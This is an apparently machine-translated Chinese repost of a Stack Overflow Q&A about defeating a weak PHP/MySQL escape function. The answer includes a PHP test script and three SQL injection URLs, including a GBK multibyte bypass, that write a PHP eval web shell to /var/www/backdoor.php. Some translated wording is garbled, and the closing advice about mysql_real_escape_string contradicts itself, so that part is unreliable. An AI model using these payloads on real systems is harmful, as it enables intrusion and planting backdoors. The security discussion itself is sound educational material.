gpt4 book ai didi

sql - 发现MySql存在弱逃逸功能,如何利用?

转载 作者:IT老高 更新时间:2023-10-28 23:49:59 28 4
gpt4 key购买 nike

在我正在开发的一个应用程序中,我发现了一个弱转义函数来防止注入(inject)。我试图证明这一点,但我无法想出一个简单的例子。

转义函数的工作原理如下(PHP 示例)。

function escape($value) {

$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;

}

我意识到这不处理使用双引号 (") 编码的值,但所有查询都是使用单引号 (') 构造的。

谁能打败这个转义函数?

要求:

  • 查询中的字符串始终用引号引起来。
  • 从不使用双引号。
  • MySQL 连接设置为 UTF8。

简单的例子:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

最佳答案

如果您只是'替换为'',那么您可以通过注入(inject)\'来利用它这将变成一个 \'' 并且这将允许你突破,因为这给你一个“字 rune 字”单引号和一个真正的单引号。但是,将 "\\" 替换为 "\\\\" 可以抵消这种攻击。双单引号用于“转义”MS-SQL 的单引号,但这不适用于 MySQL,但它可以工作。

以下代码证明此转义函数对除三个条件之外的所有情况都是安全的。此代码排列所有可能的控制章程变体,并测试每个变体以确保单引号括起来的 select 语句不会发生错误。此代码已在 MySQL 5.1.41 上测试。

<?php
mysql_connect("localhost",'root','');
function escape($value) {

$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>

漏洞情况 1:未使用引号。

mysql_query("select username from users where id=".escape($_GET['id']));

利用:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

漏洞情况2:使用双引号

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

利用:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

漏洞情况 2:使用了单引号,但是 alternative character set is used.

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

利用:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

结论是始终使用 mysql_real_escape_string() 作为 MySQL 的转义例程。连接到 mysql 数据库时,像 pdo 和 adodb 这样的参数化查询库总是使用 mysql_real_escape_string()addslashes() 是一个更好的转义例程,因为它处理了易受攻击的条件 2。应该注意的是,甚至 mysql_real_escape_string()将停止条件 1,但是参数化查询库会。

关于sql - 发现MySql存在弱逃逸功能,如何利用?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3448441/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com